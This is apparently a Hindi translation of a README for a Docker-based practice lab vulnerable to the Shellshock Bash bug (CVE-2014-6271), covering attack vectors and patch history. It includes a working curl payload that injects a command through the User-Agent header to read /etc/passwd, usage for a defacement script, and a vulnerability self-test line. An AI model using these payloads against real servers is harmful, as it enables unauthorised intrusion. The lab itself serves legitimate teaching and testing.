
Shellshock एक्सप्लॉइट + भेद्य वातावरण

Shellshock, जिसे Bashdoor के नाम से भी जाना जाता है, व्यापक रूप से उपयोग किए जाने वाले Unix Bash शेल में सुरक्षा बगों का एक समूह है, जिसमें से पहला 24 सितंबर 2014 को सार्वजनिक किया गया था। कई इंटरनेट-मुखी सेवाएं, जैसे कि कुछ वेब सर्वर तैनातियाँ, Bash का उपयोग कुछ अनुरोधों को संसाधित करने के लिए करती हैं, जिससे एक हमलावर Bash के असुरक्षित संस्करणों को मनमाने आदेश निष्पादित करने के लिए प्रेरित कर सकता है। यह एक हमलावर को कंप्यूटर सिस्टम तक अनधिकृत पहुंच प्राप्त करने की अनुमति दे सकता है।
आपको वातावरण चलाने के लिए Docker स्थापित होना आवश्यक है, docker.com पर जाएँ और यदि आपके पास अभी तक नहीं है तो इसे स्थापित करें।
असुरक्षित वातावरण शुरू करने के लिए बस चलाएँ
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271
अपना ब्राउज़र खोलें और localhost:8080 पर जाएँ, यदि सब कुछ ठीक है तो आपको इस तरह का एक पृष्ठ दिखाई देगा

इस कमजोरी का शोषण करने के कई तरीके हैं
cat /etc/passwd का एक सरल उदाहरण
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
आप इसका उपयोग अपनी इच्छानुसार कोई भी कमांड चलाने के लिए कर सकते हैं
यह exploit-deface.sh में एक नमूना कोड है, बस इसे इमेज के विरुद्ध चलाएँ
./exploit-deface.sh <ip> <port>
उदाहरण के लिए यदि आप इसे ऊपर दिए गए कमांड के साथ चला रहे हैं
./exploit-deface.sh localhost 8080
बस अपने ब्राउज़र को ताज़ा करें और आप देखेंगे

बस अपने सिस्टम में इस bash स्क्रिप्ट को चलाएँ और आप देखेंगे कि आप असुरक्षित हैं या नहीं:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
जब कोई वेब सर्वर किसी दस्तावेज़ अनुरोध को संभालने के लिए Common Gateway Interface (CGI) का उपयोग करता है, तो वह अनुरोध के विभिन्न विवरणों को हैंडलर प्रोग्राम को पर्यावरण चर सूची में भेजता है। उदाहरण के लिए, चर HTTP_USER_AGENT का एक मान होता है जो सामान्य उपयोग में अनुरोध भेजने वाले प्रोग्राम की पहचान करता है। यदि अनुरोध हैंडलर एक Bash स्क्रिप्ट है, या यह उदाहरण के लिए system(3) कॉल का उपयोग करके एक को निष्पादित करता है, तो Bash सर्वर द्वारा पारित पर्यावरण चर प्राप्त करेगा और उन्हें ऊपर बताए अनुसार संसाधित करेगा। यह एक हमलावर को विशेष रूप से तैयार सर्वर अनुरोध के साथ Shellshock भेद्यता को ट्रिगर करने का एक साधन प्रदान करता है। व्यापक रूप से उपयोग किए जाने वाले Apache वेब सर्वर के लिए सुरक्षा दस्तावेज में कहा गया है: "CGI स्क्रिप्ट ... अत्यंत खतरनाक हो सकती हैं यदि उन्हें ध्यान से जांचा न जाए।" और वेब सर्वर अनुरोधों को संभालने के अन्य तरीकों का अक्सर उपयोग किया जाता है। ऐसी कई ऑनलाइन सेवाएँ हैं जो इंटरनेट पर उजागर वेब सर्वरों के विरुद्ध भेद्यता का परीक्षण करने का प्रयास करती हैं।
OpenSSH में एक "ForceCommand" सुविधा है, जहां उपयोगकर्ता के लॉग इन करने पर एक निश्चित कमांड निष्पादित की जाती है, बजाय एक अप्रतिबंधित कमांड शेल चलाने के। निश्चित कमांड तब भी निष्पादित की जाती है जब उपयोगकर्ता ने निर्दिष्ट किया हो कि कोई अन्य कमांड चलाई जानी चाहिए; उस स्थिति में मूल कमांड को पर्यावरण चर "SSH_ORIGINAL_COMMAND" में रखा जाता है। जब बलपूर्वक कमांड को Bash शेल में चलाया जाता है (यदि उपयोगकर्ता का शेल Bash पर सेट है), तो Bash शेल स्टार्ट-अप पर SSH_ORIGINAL_COMMAND पर्यावरण चर को पार्स करेगा, और इसमें एम्बेडेड कमांड चलाएगा। उपयोगकर्ता ने Shellshock बग का उपयोग करके अपने प्रतिबंधित शेल एक्सेस का उपयोग अप्रतिबंधित शेल एक्सेस प्राप्त करने के लिए किया है।
कुछ DHCP क्लाइंट Bash को कमांड भी पास कर सकते हैं; एक असुरक्षित सिस्टम पर तब हमला किया जा सकता है जब वह एक खुले Wi-Fi नेटवर्क से कनेक्ट होता है। एक DHCP क्लाइंट आमतौर पर DHCP सर्वर से एक IP पता अनुरोध करता है और प्राप्त करता है, लेकिन इसे अतिरिक्त विकल्पों की एक श्रृंखला भी प्रदान की जा सकती है। एक दुर्भावनापूर्ण DHCP सर्वर इनमें से एक विकल्प में एक स्ट्रिंग प्रदान कर सकता है जो किसी असुरक्षित वर्कस्टेशन या लैपटॉप पर कोड निष्पादित करने के लिए तैयार की गई हो।
जब Bash का उपयोग ईमेल संदेशों को संसाधित करने के लिए किया जाता है (जैसे .forward या qmail-alias पाइपिंग के माध्यम से), तो qmail मेल सर्वर बाहरी इनपुट को इस तरह से पास करता है जो Bash के एक असुरक्षित संस्करण का शोषण कर सकता है।
बग का उपयोग IBM हार्डवेयर मैनेजमेंट कंसोल के प्रतिबंधित शेल से Bash तक पहुंच प्राप्त करने के लिए किया जा सकता है, जो सिस्टम प्रशासकों के लिए लिनक्स का एक छोटा संस्करण है। IBM ने इसे हल करने के लिए एक पैच जारी किया।
24 सितंबर 2014 तक, Bash मेंटेनर Chet Ramey ने Bash 4.3 का पैच संस्करण bash43-025 प्रदान किया जो CVE-2014-6271 को संबोधित करता था, जिसे पहले से ही वितरण मेंटेनरों द्वारा पैक किया गया था। 24 सितंबर को, bash43-026 आया, जो CVE-2014-7169 को संबोधित करता था। फिर CVE-2014-7186 की खोज की गई। Red Hat के Florian Weimer ने 25 सितंबर को इसके लिए "अनौपचारिक रूप से" कुछ पैच कोड पोस्ट किया, जिसे Ramey ने Bash में bash43-027 के रूप में शामिल किया। ये पैच केवल कोड प्रदान करते थे, जो केवल उन लोगों के लिए सहायक थे जो पैच फ़ाइल और शेष स्रोत कोड फ़ाइलों से एक नई Bash बाइनरी निष्पादन योग्य फ़ाइल को संकलित ("रीबिल्ड") करना जानते हैं।
अगले दिन, Red Hat ने Red Hat Enterprise Linux के लिए आधिकारिक रूप से संबंधित अपडेट प्रस्तुत किए, उसके एक दिन बाद Fedora 21 के लिए। Canonical Ltd. ने शनिवार, 27 सितंबर को अपने Ubuntu लॉन्ग टर्म सपोर्ट संस्करणों के लिए अपडेट प्रस्तुत किए; रविवार को, SUSE Linux Enterprise के लिए अपडेट थे। उसके बाद सोमवार और मंगलवार को महीने के अंत में, Apple OS X अपडेट सामने आए।
1 अक्टूबर 2014 को, Google Inc. के Michał Zalewski ने अंततः कहा कि Weimer के कोड और bash43-027 ने न केवल पहले तीन बगों को बल्कि bash43-027 के बाद प्रकाशित शेष तीन बगों को भी ठीक कर दिया था, जिसमें उनकी अपनी दो खोजें शामिल थीं। इसका मतलब है कि पहले के वितरण अपडेट के बाद, सभी छह मुद्दों को कवर करने के लिए किसी अन्य अपडेट की आवश्यकता नहीं थी।
यह या पिछला प्रोग्राम केवल शैक्षिक उद्देश्य के लिए है। बिना अनुमति के इसका उपयोग न करें। सामान्य अस्वीकरण लागू होता है, विशेष रूप से यह तथ्य कि मैं (opsxcq) इन प्रोग्रामों द्वारा प्रदान की गई जानकारी या कार्यक्षमता के प्रत्यक्ष या अप्रत्यक्ष उपयोग से होने वाली किसी भी क्षति के लिए उत्तरदायी नहीं हूँ। लेखक या कोई भी इंटरनेट प्रदाता इन प्रोग्रामों या उनके किसी भी व्युत्पन्न की सामग्री या दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इन प्रोग्रामों का उपयोग करके आप इस तथ्य को स्वीकार करते हैं कि इन प्रोग्रामों के उपयोग से होने वाली कोई भी क्षति (डेटा हानि, सिस्टम क्रैश, सिस्टम समझौता, आदि) opsxcq की जिम्मेदारी नहीं है।